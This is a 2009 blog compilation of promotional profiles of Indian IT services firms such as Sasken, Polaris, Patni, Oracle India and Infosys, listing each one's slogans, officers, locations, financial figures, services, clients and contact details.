Committed to innovation, Sasken works with terminal device manufacturers, network equipment manufacturers, semiconductor vendors and network operators to help them get to market ahead of the competition and stay focused on new product development and manufacturing. With deep understanding of the telecom industry, access to current and emerging technologies, mature development processes, global resources and a proven track record, Sasken creates complete solutions to help clients succeed. Clients choose Sasken for their comprehensive range of application solutions and services, backed by a proven reputation for expert support and high quality.

Backed by ISO 9001certification and assessed at SEI CMM Level 5, Sasken is driven by an emphasis on quality. Sasken’s proprietary quality management system strengthens our business offerings and ensures client satisfaction.

Supporting development of global wireless communications Sasken works with premier technology groups including the ITU, ETSI, GCF, PTCRB, ATM Forum, DSL Forum, OFDM Forum, UWCC and the SDR Forum.

Corporate slogan/ Punch line	Next generation technology solutions
Vision & Core values	Sasken's vision is to play a key role in enriching every communications experience. Sasken believes that in focusing all their efforts and resources on this vision, they will realize their dream of becoming the worlds most preferred Telecom Solutions Company. They are a knowledge-driven company that values transparent business practices and provides comprehensive solutions to help businesses achieve their goals of rapid product innovation and profitability. Their core values revolve around passion and integrity. Sasken takes pride in being ethical and in nurturing an environment of openness in all business interactions. They respect the courage of personal conviction, and actively cultivate a spirit of inquiry and individual enterprise. Technology is Sasken’s passion. Sasken claims “ We dare to explore new opportunities to find new ways to solve technical challenges. We pride ourselves as being forward thinkers, anticipating market changes ahead of the curve to help our clients stay competitive”. Sasken does everything they can to sustain an environment that is conducive to incubating new ideas and creating powerful technology solutions that help their clients succeed.
Main officers	Rajiv C Mody - Chairman & CEO Kannankote Srikanth - President & COO Swaminathan Krishnan - CMO
Locations	Canada , China , Finland,France , Germany , India , Japan ,Mexico, Sweden , UK & U.S. Locations in India :- Bangalore , Pune,Chennai
No. of employees	3500+
Financial Summary (ending 31st March 2007 )	Net worth: Rs 42,207.34 Lakhs Profit after tax: Rs 4,426.94 Lakhs
Services	Handset Model Development Services OMAP Technology Center Accelerated DSL Development UMTS Network Development Services 2G Network Sustenance Services IC Design Services Sasken Network Systems - Value Added Engineering Offshore Development Centers.
Products	Multimedia Applications and codecs— The Strawberra™ range of multimedia applications and codecs enable handset manufacturers provide a rich multimedia experience to the consumers. Wireless Protocol Stacks — Modular, easy-to-upgrade WCDMA and GSM-GPRS protocol stacks offer you a clear path to next generation wireless devices. DSL– Sasken’s range of DSL software solutions are available for licensing to DSL device manufacturers.
Careers	People First Saskens corporate credo is “People First”. Sasken believe that respect for the individual comes before organizational imperatives. That's why Sasken employees are at the center of all that the company does. This approach has proven to be very successful at Sasken – a whopping 32 percent of new recruits are selected through the Internal Referral Program. At Sasken, you join an elite new class of empowered employees. We offer you the freedom to live and work the way you want to. Sasken’s flex-time policy allows you to decide when to work and upholds expectations for a balanced lifestyle. We actively encourage employees to pursue further education while working at Sasken. We endorse continuous learning and encourage our people to grow their careers.
Organizational culture	At Sasken, performance is paramount. Sasken has an excellent evaluation and incentive scheme to identify and encourage performance. This way, extra effort is quickly recognized. Rewards, promotions and growth opportunities are based on performance. An unique policy of 'single status' is implemented in Sasken where there is no differentiation among employees with any criteria other than performance. Everyone in Sasken – from a new recruit to the CEO – is treated the same. All employees receive the same workspace, amount of employee leave time, benefits and travel allowances. Everyone has the same dress code and the same perks. Criteria that determine incentives are uniformly applied. Salaries, however, vary based on experience and performance. Sasken’s innovative, employee-oriented human resources practices have resulted in their receipt of a Lifetime HRD Excellence Award from the National Human Resource Development (NHRD) Programme. After four years of service, you become eligible for six weeks of hibernation leave, in addition to all other paid leave. In addition, the entire company takes a week long Christmas vacation.
Life at SASKEN	Mutual trust and respect define Sasken’s employee relationships. There is no enforced dress code – Sasken understands that attire has little bearing on your integrity or competence. Open 24 hours every day, the office has cafeterias, ATM’s, gymnasium, medical center, Montessori childcare center and a travel desk. Sasken spares no effort to create a work environment that is flexible, informal, supportive and empowering. Expand Your Horizons Sasken , has created flexible policies and training programs that foster a culture of learning. This is augmented with access to the latest technical expertise through their relationships with premier institutions and memberships in technical and general libraries. You can also develop management skills through our internal programs. Work With A Global Leader Here you work for a global leader and you deal with the world’s foremost technology companies. Sasken works with six of the top ten mobile handset vendors, three of the top five semiconductor manufacturers and many global network equipment manufacturers.
Contact address	Sasken Communication Technologies Limited Global Development Centre 139/25, Ring Road, Domlur Bangalore – 560071 India Phone: + 91 80 25355501 Mobile: + 91 0 98866 56046
Website	www.sasken.com
Email	info@sasken.com/ vacancy@sasken.com

POLARIS

2009-06-30T09:34:00.001-07:00

Polaris Software, a leading global provider of financial Technology Solutions and offshore IT Services, is a debt free and a cash rich company with a cash reserve of over $20 million. Polaris domain expertise in the Financial Technology space stems from its 18-year old relationship with Citibank and its singular focus on the financial services industry. Solutions developed, deployed and supported by Polaris service over 10 million Citibank customers in 70 countries across the world.

The blend of industry-leading products, domain knowledge, project management skills and extensive experience has helped Polaris deliver complete solutions that can help organizations improve quality of service while building customer loyalty. Some of the most successful financial services firms have partnered with Polaris to optimize their technology investment, saving millions of dollars over the course of the relationship.

Polaris has undertaken over 2000 successful projects and has over 25,000 person years of experience in managing projects with some of the most respected names worldwide in the areas of consulting, turnkey project management, systems integration and customized software development.

Polaris’ product suite offers comprehensive solutions that can be seamlessly integrated into the existing systems and technologies of any financial institutions. Polaris offer solutions for all domains - corporate banking, retail banking, trade finance, credit/risk management, cash management, treasury management, lending, investments and securities mutual funds, credit cards and insurance.

Polaris’ Outsourcing models are flexible, with an appropriate solution for every customer at any evolutionary stage of offshore development. Its physical and information security practices meet the stringent security standards of the world’s top financial firms like Citigroup and AIG.

Corporate slogan/punch line	Live your dream
Achievements	Polaris is the world’s first CMMi Level 5 company.
Vision	Polaris Vision: Create the environment to attain personal mastery to push new frontiers Unleash the collective knowledge potential Achieve global stature by helping customers win in their market place Grow the value of Polaris every year Anchor the family and its aspirations Impact the society at large Rooted in Polaris Values – Passion, Humility, Integrity, Respect, FUN - ‘PHIR FUN
Mission	“To be a reliable and responsive Techno-Business Solution partner and provide cost-effective, timely solution, meeting customer expectation through continuous process improvement and Win-Win relationships in the Banking, Financial Services and Insurance space”
Locations	Corporate headquarters : Chennai, India US headquarters : New Jersey/Fremont, CA Worldwide offices : Australia,Bahrain, France, Germany, Hongkong, Ireland, Japan, Saudi Arabia, UAE, Singapore, Switzerland, United Kingdom, United States and Canada
Main officers	Arun Jain, Chairman & Managing Director, Arup Gupta, COO
No. of employees	8800
Financial performance indicators (ending 31st March 2007 )	Net Revenue $200 million Profit 25 million
Key Milestones	1983-International Information Systems, Delhi 1986- Nucleus Software Workshop Pvt. Ltd Madras 1986-First ENTITY with Citi India initiated 1993- Polaris Software Lab Ltd Incorporated 1995- Quality processes aligned to SEI CMM Level 3 1997- First Offshore Development Center commissioned for Citibank , LA 1997- Wholly-owned subsidiaries formed in US and Singapore 1998- Wholly-owned Subsidiary in UK 1998- Quality Processes aligned to SEI CMM Level 4 1998- Quality Processes ISO 9001 Certified 1998- Polaris Retail Infotech Ltd. formed in Chennai 1999- IPO and listing in major bourses 2000- State of the Art Development Facility operational at Chennai , India 2000- Wholly-owned subsidiary in Germany 2001- Wholly-owned subsidiaries in Switzerland and Ireland 2001- Polaris becomes the World's First CMMi Level 5 Company 2002-Commences operations in Japan and Hong Kong 2002-Polaris among top 25 employers in India Business Continuity Center in Singapore operational 2002- Merger with Orbitech 2004- BS7799 Ce rtified Exclusive 300 associate Center of Excellence facility in Mumbai for Financial Risk Management (FRM) Launched Polaris Intellect Suite of products for banking solution Set up 111,700 sq ft Intellect Engineering Center spread over eight acres in Chennai 2005- Launch of Diploma Program in Financial Technology with IFMR Incorporation of Subsidiary in Canada 2006- Polaris Software enters Belfast
Services	Areas of consulting, turnkey project management, systems integration and customized software development
Products	Intellect
Major Clients	Nikko Citigroup , Citigroup , AIG , Bear Stearns , Commerzbank , ABN Amro , Shinsei Bank , UBS , Deutsche Leasing , Maybank , DBS Bank , RBS , HSBC , Barclays ,Presto etc.
Careers	As Polaris puts it Its one where… You TRUST the people you work for, have PRIDE in what you do and ENJOY the people you work with Konark Movement In most organizations, the strategic leadership are located in the top-most echelons of the management. But in Polaris, this paradigm as been completely challenged by fostering leadership capabilities across all levels through the Konark movement. Konarks are group of selected associates in Polaris who have displayed exemplary performance on a consistent basis, are highly motivated and are committed towards the growth of the organization. They are the Role models and are collaborative intrapreneurs who will create path-breaking successes both for themselves as well as for the organization. A Specially focussed developmental program has been conceptualized and delivered for the Konarks. Typically they are done in the areas of role modelling, transformational leadership and principle-centred leadership. The expectations out of Konarks are clearly articulated through this session. Currently there are 293 Konarks Polaris believes that the best talents are discovered from campuses. The recruits go through an intensive 4-week induction program, conceptualized and put together by Nalanda, our corporate university. Conceptualised and put together by the Nalanda Team, the intensive Four-week Induction programme provided by the university provides campus recruits the necessary wherewithal to make the transition to through bred software engineers. The induction programme introduces them to various Polaris processes, Software development methodologies
Contact	Polaris Software Lab Ltd., 'Foundation' 34, IT Highway Navalur Chennai- 603 103 India Phone: +91-4114-235001 Fax: +91-4114-235166
Website	www.polaris.co.in
Organizational culture	Passion for excellence in people practices is primarily fuelled by our belief in the power of people ware. Our People Practices are constantly geared towards providing our associates with terrific work environment, unlimited scope for personal growth, tremendous learning opportunities, opportunity to work in cutting edge technologies, empowerment to charter their own careers, and excellent rewards. Lakshya Movement Polaris prides itself, as a Lakshya-driven organization. Lakshya is a goal setting process. The most remarkable feature is that all associates of Polaris are involved in this process. Every year, from the past 5 years, teams across the organization come together for brainstorming sessions and contribute to the refinement of growth strategies Lakshya happens in three stages: pre-Lakshya, Lakshya and post-Lakshya Pre-Lakshya - CEO and Business Leadership Team. Lakshya - Konarks,Top Management participation and Leading Management Consultants are invited. Pre-Lakshya inputs are carried to this meet. Post-Lakshya- Its all about communicating the vision back to the people.It completes the Process of Bottom-Up self-examination.
Other information	Ullas Trust The company’s social responsibilities transgresses boundaries and geographies and has put in its bit to help the less advantaged with the Ullas Trust. This is a trust floated and fully managed by the associates of Polaris for mentoring economically underprivileged school children. Each Polarite mentors a deserving school student from economically backward sections, by acting as a role model and also by providing 40% of the scholarship amount. Rest is contributed by the Organization. Polaris software acclaimed as “Mother Theresa Corporate Citizen of the year” Polaris has been recognized as one of the top 25 best employers in the country. This award has come in a joint and exclusive study done by "Hewitt Associates" and "Business Today”.

PATNI

2009-06-30T09:33:00.000-07:00

Patni is a global IT Services provider with over 9,500 professionals service clients across diverse industries, from 24 sales offices and multiple offshore development centers across 8 cities in India . As industry leaders, we introduced Offshore Development Centers, and pioneered 'follow the sun' development and support frameworks.

Corporate slogan/Punchline	World-Wide Partnerships, World Class Solutions
Locations	Corporate headquarters: Mumbai US headquarters: Cambridge , MA Worldwide offices: Australia , Canada , Germany , India , Japan , Netherlands , Sweden , UK & USA .
Main officers	Chairman & CEO: Narendra K Patni Mr. Gajendra K Patni and Mr. Ashok K Patni are co founders and non-executive directors of the company.
Financial performance indicators(ending 30^th Sept2007)	Gross profit $52, mn
Subsidiaries	Patni Computer Systems, Inc., USA Patni Computer Systems (UK) Limited, UK Patni Computer Systems GmbH, Germany Patni Telecom Solutions, Inc. USA Patni Telecom Solutions (UK) Limited, UK Patni Telecom Solutions (P) Limited, India Patni Life Sciences Inc, USA Patni Computer Systems Brasil LTDA, Brazil
Services	Application Development Product Development Customized development New Application development Rapid application development Reengineering & Maintenance Code re-structuring Re-documentation Platform transitions Language conversion Migration to client/server and web Business Process Outsourcing Agent based pricing Transaction based pricing Build-Operate-Transfer (BOT) arrangements Engineering Services Extensive experience in AM/FM/GIS, Document Conversion and CAD/CAM/CAE. Expertise across varied input/output formats, industry platforms. Competencies across user segments such as county authorities, utility authorities and cemeteries.
Products	Mobilize Site:- It is a server side product that can dynamically translate and customize existing web applications and content for viewing on any wireless Internet device. RS Codecs:- It is a library of encoder and decoder modules for Forward Error Correction that is based on the ubiquitous Reed-Solomon codes. Turbo Codec:- They are a family of forward error correction codes, which achieve near Shannon limit. These are recommended for use in 3G communications and Space communications. Plexus Watch™:- It is an easy-to-use network traffic protocol analyzer, which makes the complex task of troubleshooting multi-protocol and multi-services networks easy. It gives a precise snapshot of your network and thus points out bottlenecks. Voice Safe™:- It is a Speaker Verification Library that is based on voice biometrics. VoiceSafe™ is the least intrusive, cost-effective yet a highly secured method to verify the claimed identity of an individual. MPEG 4 Video Encoder V1.0:- Patni 's MPEG-4 Video Encoder V1.0 library is targeted specifically for Video Conferencing applications. Patni Integration System:-The tool helps organizations analyze the IT solution, identify costs and savings for implementing the solution and quantify the benefits. It can help organizations accelerate the decision making process and ensure selection of a solution that will deliver the highest returns.
Industries	Insurance \| Financial Services \| Manufacturing \| Telecom \| ISV \| Product Engineering \| Retail \| Media & Entertainment \| Energy & Utilities \| Logistics & Transportation
Major clients	Carrier, Hewlett–Packard Co, Lockheed Martin, Oracle Corporation, Le Meridian, Sony, NEC
Employees	14,290
Careers	Patni provides for a solid value based system of work that incorporates competitive renumeration, constant upgradation of skills and world class environment. Patni stresses on individual growth. Patni claims” We offer careers and not just jobs”.
Contact	Patni Computer Systems Ltd. Akruti , MIDC Cross Road No 21, Andheri (E), Mumbai-400 093. Tel: +91 22 5693 0500 Fax: +91 22 5693 0211
Website	www.patni.com
Email	patni-mumbai@patni.com

ORACLE

2009-06-30T09:32:00.002-07:00

Oracle is the first software company to develop and deploy 100 percent internet-enabled enterprise software across its entire product line: database, business applications, application development and decision support tools. Oracle technology can be found in nearly every industry around the world and in the offices of 98 of the Fortune 100 companies. Oracle is the world's leading supplier of software for information management, and the world's second largest independent software company.

It was one of the first companies to make its business applications available through the internet- today, that idea is pervasive. Oracle's business is information—how to manage it, use it, share it and protect it. For nearly three decades, Oracle, the world's largest enterprise software company, has provided software and services that let organizations get the most up-to-date and accurate information from their business systems. Today, India is Oracle's fifth-largest market in Asia Pacific in terms of revenue, up from tenth a few years ago, and boasts the largest research and development investment outside the U.S.

The 2005 combination of Oracle and People Soft marks a major turning point in the evolution of the software industry. The combined companies are now positioned to deliver a more competitive offering in the enterprise applications market and increase innovation with a larger applications R&D budget.

Slogan	Information driven
Vision	Adhering to three principles, Oracle has so far saved more than US$1 billion in operating costs. With these principles, which are incorporated into the design of our software, we have coordinated and streamlined all our business processes worldwide. Simplify, Standardize and Automate We believe that our customers get more from their information by using Oracle's software and services and applying these principles. Our customers have already improved their ability to use information and IT as strategic assets and are now able to share data and processes, measure results for continuous improvement, align stakeholders and communicate a single truth to all their constituents.
History	Twenty-six years ago, Larry Ellison saw an opportunity other companies missed when he came across a description of a working prototype for a relational database and discovered that no company had committed to commercializing the technology. Ellison and his co-founders, Bob Miner and Ed Oates, realized there was tremendous business potential in the relational database model-but they may not have realized that they would change the face of business computing forever. Today Oracle (Nasdaq: ORCL) is still at the head of the pack. Oracle technology can be found in nearly every industry around the world and in the offices of 98 of the Fortune 100 companies.
Locations	Africa , Asia Pacific, Europe , Latin America , Middle Eastand North America
Main officers	Chairman- Jeffrey O. Henley
No. of employees	68,236
Key milestones of Oracle India	1987-Started distributorship through TCS 1993-Oracle India Private Ltd was formed 1994-opened its India Development Center (IDC) in Bangalore .
Financial performance indicators (ending 31st March 2004 )	Revenue $17.996 billion USD(2007) Operatingincome $5.974 billion USD (2007) Netincome $4.274 billion USD (2007)
Products	Application server, Collaboration suite, Database Applications, Development tools, Enterprise Manager
Solutions	Oracle application Development Business Integration Business Intelligence Corporate Governance Customer Relationship Management Supply Chain Management Real Estate Management Enterprise Portals Lean Manufacturing
Industries	Aerospace & Defense, Automotive, Chemicals, Communication Education, Consumer Products, Healthcare, Travel and Tourism, Oil & Gas, High Technology, Engineering & Construction, Financial Services, Utilities, Home Security, Life Sciences
Major clients in India	Ashok Leyland, Tata tele services, Canon, National Panasonic, Kelloggs, iFlex Solutions Ltd., Infosys, Satyam, Sonata, Tata Consultancy Services and Wipro.
Careers	Looking for a career that will let you work with the brightest minds in the industry? Want to be part of a global team that's changing the way the world does business? Consider Oracle Corporation. The world's leading supplier of information management software, is found in nearly every industry around the world and in 98 of the Fortune 100 companies. 40,000 Oracle professionals, working in more than 100 countries around the world, are dedicated to creating enterprise software that solves customers' problems.
Other information	India Localization is a solution built over Oracle E-Business Suite, Oracle's e-business applications software product, that provides Clients in India with the most comprehensive solution to comply with the India specific tax requirements as specified by Central Excise, Customs, Sales Tax and VAT, and Income Tax, (to the extent of tax deduction at source and generation of Depreciation Schedule for fixed assets). Oracle Direct conducts direct Web-based sales by using technology, applications and services to meet specific customers requirements in different geographies Oracle University in India offers certified Oracle courses across Oracle technology and applications.
Contact address	Block 1, DLF Corporate Park DLF City, Phase 3 Mehrauli - Gurgaon Road Gurgaon,Haryana - 122002 Phone +91 124 2549250/2549260 Fax +91 124 2549270/2549280
Website	www.oracle.com
Email	oracleindia_in@oracle.com

NeST

2009-06-30T09:32:00.001-07:00

NeST Group, an International Corporate group of 15 companies employing over 2000 people worldwide, has a global export business turnover of over $ 50 million. The Group has a strong presence in futuristic Computer & Communication technology areas like Fiber Optics, Networking, RF & Microwave and Software. NeST has many hardware and software facilities spread across Trivandrum , Cochin, Bangalore , Mysore in Indiaand in the USA .

Apart from the software development facility in India , the group has set up a number of world class manufacturing facilities and has established worldwide operations with offices providing onsite consulting and development services in AUSTRALIA , CANADA, JAPAN , QATAR , UK& USA .

NeST is a customer driven organization committed to deliver high quality cost-effective solutions that fit customer needs. NeST currently exports fiber optics and copper networking hardware to major Networking companies in the world.

The NeST Information Technologies at Cochin and Trivandrum are the two software development units of the group, which have been assessed at CMM Level. The Group is now all set to reach Six Sigma status in quality. NeST Information Technologies, the Cochinunit mainly focusses on web applications, e-Business, ERP and Legacy Systems. NeST Trivandrumspecializes in Scientific & Engineering applications. The NeST Group is also engaged in the business of Network and Software solutions. The ISO certified facilities at NeST Cochin produce a range of hardware for the Networking industry like optical fibers, chip like boards, microwave and wireless equipment. NeST PCs and Servers are available in market with a comprehensive range of desktop to palm top.

One of the latest additions to NeST Group activities is NeST Animation. NeST is committed to provide World Class Animation products based on Indian Folk Stories, Classics and Mythologies.

Corporate punch line	Creating innovative solutions…worldwide
Vision/Quality policy	We are committed to excellence in quality to exceed customer expectations.Our goal is to meet the stated and implied needs of customers"
Locations	Australia , Japan , Qatar , Saudi Arabia , UAE , UK , USA
Main officers	MD-Nest group of Companies- N.Jehangir
Core competencies	ERP, GIS, E business, Legacy systems and reengineering, Project management
Industries	Manufacturing Insurance Networking Retail Telecommunications
Major clients	Aramco, Hitachi LTD, Internet Imaging Inc, Toshiba
Careers	Please send resume to careers@nestinfotech.com
Other information	Nest is the third company in the world to be assessed in all the four discplines of CMMI-Systems (Engineering, Software Engineering, Integrated products and process development and Supplier sourcing)
Contact address	NeST Information Technologies (P) Ltd. NeST Towers University Junction South Kalamassery Cochin Kerala India Tel : +91-484-2551162 / 2551164 Fax : +91-484-2551062 Network Systems & Technologies (P) Ltd. Plot No. 2, CEPZ, Kakkanad, Cochin - 682 030, India Tel : +91-484-422868,422092 Fax : +91-484-422587 Network Systems & Technologies (P) Ltd. A-3 Periyar, Technopark Campus, Trivandrum - 695 581 Tel : +91-471-527441 Fax : +91-471-417442
Website	www.nestinfotech.com
Email	career@nestinfotech.com

MAHINDRA BRITISH TELECOM

2009-06-30T09:31:00.000-07:00

MBT is a leading India-based global IT solutions provider. As a proven leader in application outsourcing and off shoring of business critical applications, MBT enables its clients, protects their investment in legacy systems, enhances capital budgets, reduces operating expenses and builds solutions for the multi-services future.

With a strong partnering strategy and alliances with key customers and leading product vendors, MBT delivers solutions to solve real business problems.

1.	Corporate slogan/Punch line	Thinking up new ways to do better things
2.	Philosophy	Better results through better thinking supported by a strong organization-wide networking ethic which runs cross-function and cross-hierarchy; and a continuous learning culture in which capability growth is rewarded
3.	Mission	To partner with telecom customers globally, to help solve their business problems by radically changing the way they use IT infrastructure to support their business processes.
4.	Values	MBT is focused on creating sustainable value growth through innovative solutions and unique partnerships. Values are at the heart of business reputation and are essential to continued success. Foster an environment to instill these values in every facet of organization. Good corporate citizenship, professionalism, customer first, commitment to quality & dignity of the individual
5.	Locations	6 development centers, 9 customer service offices throughout 5 continents
6.	Main officers	Chief Executive Officer:-John Helleur Chairman:- Anand G Mahindra Managing Director:- Vineet Nayar
7.	Services	Solution Integration, Application Development and Management Consulting, Managed Services, Product Engineering
8.	Industries	Telecom, OSS , BSS, New Generation Networks, Network Design and Engineering, Testing, Security, Embedded and Mobility Business Intelligence
9.	Financial performance indicators(ending 31st March 2004	Net profit Rs 171.54 crore up 38.5% from 2003 Total income Rs 623 crore up 18.13% from 2003
10.	Careers	MBT nurtures talent. MBT's ability in developing world-class solutions is a result of its talented manpower pool. The company's HR operations are closely integrated into its business strategy. This integration allows the alignment of careers with each of the customer's deliverables. Therefore, all skill requirements are forecast and programmed well in advance, to ensure timely delivery at optimum costs. MBT believes in developing motivated, reliable and knowledgeable professionals to meet ongoing and future requirements. MBT strongly believes in focusing on attracting, retaining and developing world-class talent. It is this firm belief in people investment that helps MBT customers to maintain their competitive edge in their chosen markets.
11.	Organizational culture	MBT’s management style revolves around commitment to people, honesty, an open approach and trust . These key attributes are developed using a 360 degree and reverse feedback system, Mentoring and coaching, Rewards, incentives and encouragement for all employees to improve capabilities “Work smart, play hard”, is what MBT asks their employees to do. Employees are encouraged to think of themselves not merely as "stone cutters", but as "cathedral builders".
12.	Contact address	Wing 1, Oberoi Estate Gardens Chandivali , Andheri (E) Mumbai 400 072 Maharashtra , India . Telephone: +91 22 5679 2000 Fax: +91 22 2852 8959
13.	Website	www.mahindrabt.com
14.	Email	freshers@mahindrabt.com

L & T INFOTECH LIMITED

2009-06-30T09:30:00.000-07:00

Larsen & Toubro Infotech Limited (Estd. 1997), a 100 percent subsidiary of the multifaceted and diversified US$ 4 billion Larsen & Toubro Limited, offers comprehensive, end-to-end software solutions and services. Leveraging the heritage and domain expertise of the parent company, its services encompass a broad technology spectrum, catering to leading international companies across the globe.

Larsen & Toubro Limited (L&T) is perhaps the only example in the history of the Indian corporate world of an Indian company founded in India (Mumbai) by foreigners. Two Danes, Mr Henning Holck-Larsen and Mr Soren Kristian Toubro, founded L&T in 1938 after they completed an assignment for which they were sent to India by a Danish company they were working for.

The founders had set for themselves some standards which were in consonance with the European culture of excellence, high quality of products and services, fair business practices and customer care. L&T was thus built on globally acceptable benchmarks and is today one of the largest professionally managed engineering & construction conglomerates in India . The current L&T Vision propels all its efforts to become a globally benchmarked Indian multinational, constantly creating value for its stakeholders. In its quest for excellence, L&T has achieved several milestones that include globally recognized accreditations and certifications from the world’s leading certifying authorities.

Corporate slogan/Punchline	Building relationship globally
Mission	Larsen & Toubro Infotech Limited shall be a globally benchmarked solution provider and preferred partner through creation of high value for customers. L&Tshall also provide an enriching workplace for employees to excel through innovation & teamwork committed to delivering high fidelity services and solutions
Locations	Our Offshore Development Centres at Powai, Vashi, Pune, Chennai, Mysore , and Banglore have well-qualified workforce that work on cutting edge technologies to deliver world-class solutions
Main officers	Chief Executive :- Vijay Kumar Magapu
No. of employees	7200+
Services	Offshore outsourcing of Application Maintenance as well as Application Development ERP-II implementations, upgrades, rollouts, production support, maintenance and enhancement Integration of systems within and across enterprises
Industries	Manufacturing, Banking & Securities, Insurance, Utilities, Communication & Embedded Systems
Major clients	Agco Boeing Bunge Caterpillar Citigroup Damodar Valley Corporation Eaton Edward Jones Ford GE GM Hitachi Intel John Deere Komatsu Lafarge L&T Mahindra and Mahindra Novartis
Careers	At L&T Infotech, people are the first priority. In this knowledge industry, employees are empowered with the strength of knowledge and are provided a 'climate' that is conducive to learning and personal and professional growth. Our employees gain a level of freedom that provides security, satisfaction and, most importantly, a sense of professional fulfillment. L & T Infotech believes in the maxims "Right-person-for-the-right-job"and "catch-them-young" .As a result, they hire a number of freshers as Software Engineer Trainees and Management Trainees from reputed Engineering and Management Institutions, impart extensive technical, behavioral and managerial training and create thoroughbred professionals out of them.
Organizational culture	L&T believes in an employee centered approach L& T cares for: People's need for self expression and leisure time (E.g. Special Interest Groups plan, opportunities for putting up cultural show at the Bi-annual Awards ceremony, recreation facilities) Self-worth of people (Awards Plan, Motivation Plan) Collective excellence (CE's award for best managed project), Rolling trophy for SBU with best customer orientation) People development (Technical and behavioral training, Team building workshops. Library, Higher Study Plan) People's opinion (Communication meetings, open houses, climate surveys) People's need to know (L&T Infotech Voice, Real Time, News Flash) High Commitment Work Systems Policy: Empowered and independent teams work with responsibility and accountability in an environment of openness. It increases employee involvement and develops a mature work culture. This in turn has a good bearing on the company helping it achieve goals and targets successfully in a competitive environment. Performance Appraisal Policy Employee performance is appraised on an annual basis, giving people credit for their achievements and setting targets for the forthcoming year. A balanced policy has been developed that is both objective and holistic in its approach. The HRD personnel facilitate the appraisal process and also train senior personnel in assessing individual performance. They resolve the areas of conflict and follow up on the outcomes of the appraisal.
Life at L&T	At L&T Infotech a lot of emphasis is given on peoples’ need for self-expression, and they are urged to pursue their unique talent and passion. An off the job setting has been created for this. L&T Infotech’s birth anniversary is celebrated with a great deal of fan fare across all Centers. A skit, songs, dances performed by talented individuals from within is a regular feature of any gathering. The Annual Awards functions are a real treat for the employees at all locations. The enthusiasm and zest with which people participate in these functions and exhibit their talents is to be seen-to-be-believed. The Special Interest Group Plan allows a group of 7 employees to come together and pursue their hobbies. Some of the groups formed under this plan are: Steps (Trekkers' club) Chalo Cinema (film-goers club) Geetanjali (Song lovers club) Aao Khelen (Sports club)
Other information	L&T Infotech has been assessed at PCMM Level 5 across Chennai, Bangalore and Mysore
Contact address	Larsen& Toubro Infotech Limited South Block,Gate No.2, Saki Vihar Road , Powai, Mumbai-400072 Tel: 91-22-56948484 Fax: 91-22-28581615 Larsen & Toubro Infotech Limited Safire Park Galleria, 4, Mumbai-Pune Road, Shivajinagar Station, Pune-411005 Tel: 91-20-404 9292 Fax: 91-20-25511742
Website	www.lntinfotech.com

KANBAY

2009-06-30T09:29:00.002-07:00

Kanbay International is a premier global systems integrator providing high-quality, high-value solutions to the insurance, banking, lending, credit card, and capital markets industries. The combination of business focus and technology expertise makes Kanbay a unique player in the technology consulting arena. Kanbay works across platforms from legacy mainframe to leading-edge web servers, drawing onbroad, diverse base of business technology experts.

Corporate slogan/ Punchline	People &Technology ; Powering transformation
Values	Respect for the individual, Ability to create and exceed high client core values, Honesty and Integrity, open & caring communication, attract develop and retain adiverse groupof people and work that enables people to return something to the global society
Locations	Australia, Honk Kong, India, Singapore ,UK,USA
Main officers	Chairman and CEO:- Raymond J. Spencer
Key milestones	1989- Kanbay was founded by Raymond J. Spencer, Dileep Nath and John Patterson with its headquarters in ChicagoIL. 1991 –Started Indian operations to support delivery of software development services 1992- Established office in Hong Kongto serve the Pacific Rim. 1995-Established Pune development center, one of the largest in the country. 1999- Established offices in Melbourne & Cambridge Acquired Megatec in October. 2001-Announced ISO 9001 certification 2003- SEI CMM level5 certification 2004- Listed in NASDAQ.
Stock exchange listings:	NASDAQ-KBAY
Financial Performance Indicators (ending 31st December 2004)	Revenue- $182.6 million Net income- $27.4 million
Services	Application development and maintenance, including designing, coding, testing, and implementing software that supports the world's most significant businesses. Business Intelligence, designing the capture and extraction of data from multiple sources and assembling it into information for competitive advantage. Distributed systems, connecting traditional businesses to clients, prospects, suppliers, and more through internal networks and the Internet. Global Payment systems, incorporating Vision PLUS® and custom systems for every facet of the credit card and consumer lending process . Managed solutions, helping you realize maximum benefit from the applications that run your business. Security and connectivity, creating the policies, architecture, environment, and practices that protect information assets and business activity.Testing services, reducing the risks of failure as well as project and future maintenance costs by planning and implementing testing right from the start.
Industries	Banking, Capital Services, Credit Services, Insurance,
Organisational culture	Kanbay works diligently to nurture a values-based global culture that optimises people for success on both the business- and personal level. People oriented approach culture fosters creativity, growth, commitment to clients, and retention Kanbay’s culture and people policies revolve around the following principles: Seven core values, including respect for the individual, commitment to clients, innovation, and open communications Open, non-hierarchical work environment to foster creativity and open communication Holistic training programs to develop technical, business, and leadership skills 360-degree reviews Benefits for associate well-being and also wealth building.
Careers	Through online registration. Highly respected clients, a global presence, extensive training and development, the latest in technology, the hottest projects, a corporate culture of respect providesa high profile career
Other information	The 3-Tier delivery model describes how Kanbay works with its clients—onsite, offsite, and offshore. The blend of tiers is dynamic and scalable, so the number of people working at each level varies, according to your project's requirements. This hybrid approach provides security, flexibility & economic leverage.
Contact address	Corporate Headquarters: Kanbay International, Inc. 6400 Shafer Court RosemontIllinois 60018 (USA) Offices in India : Kanbay Software India Pvt Ltd A1 ,Tech .Park,MIDC Talwade,Pune:412114 Phone: 9120 7601000 Kanbay International, Inc. #31, Haddows Road Nungambakkam, Chennai 600 006 Phone: +91 44 52097441
Website	www.kanbay.com

INFOSYS

2009-06-30T09:29:00.001-07:00

Infosys Technologies Ltd. provides consulting and IT services to clients globally as partners to conceptualize and realize technology-driven business transformation initiatives.

With over 80,500 employees worldwide, Infosys use a low-risk Global Delivery Model (GDM) to accelerate schedules with a high degree of time and cost predictability.

The company works with large global corporations and new generation technology organizations to build new products or services and to implement prudent business and technology strategies in today's dynamic digital environment

Infosys has sound fundamentals, a proven history, robust infrastructure and is lead by a team of visionary executives. The company has widely recognized management practices and is well known for being committed to the highest standards of corporate governance and information transparency

Corporate slogan/Punch line	Powered by intellect and driven by values.
Vision	To be a globally respected corporation that provides best-of-breed business solutions leveraging technology delivered by best-in-class people.
Mission	To achieve objectives in an environment of fairness, honesty, and courtesy towards clients, employees, vendors andsociety at large.
Values	C-Life : Customer Delight, Leadership by Example, Integrity and Transparency, Fairness &Pursuit of Excellence
